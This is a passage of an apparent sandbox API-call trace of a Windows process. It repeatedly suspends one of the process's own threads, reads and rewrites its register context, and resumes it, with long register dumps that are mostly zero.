Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0165.959] ResumeThread (hThread=0x1c8) returned 0x1 [0165.959] CloseHandle (hObject=0x1c8) returned 1 [0165.960] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0166.060] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0166.168] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0166.169] SuspendThread (hThread=0x1c8) returned 0x0 [0166.169] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f5b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f6fdaa0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0166.170] SetThreadContext (hThread=0x1c8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f5b0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0166.170] ResumeThread (hThread=0x1c8) returned 0x1 [0166.170] CloseHandle (hObject=0x1c8) returned 1 [0166.170] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0166.266] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0166.474] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0166.475] SuspendThread (hThread=0x1c8) returned 0x0 [0166.475] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f5a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f747480, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0166.475] SetThreadContext (hThread=0x1c8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f598, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0166.475] ResumeThread (hThread=0x1c8) returned 0x1 [0166.476] CloseHandle (hObject=0x1c8) returned 1 [0166.476] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0166.587] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0166.697] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0166.697] SuspendThread (hThread=0x1c8) returned 0x0 [0166.697] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f5c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f7b8ffb, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, 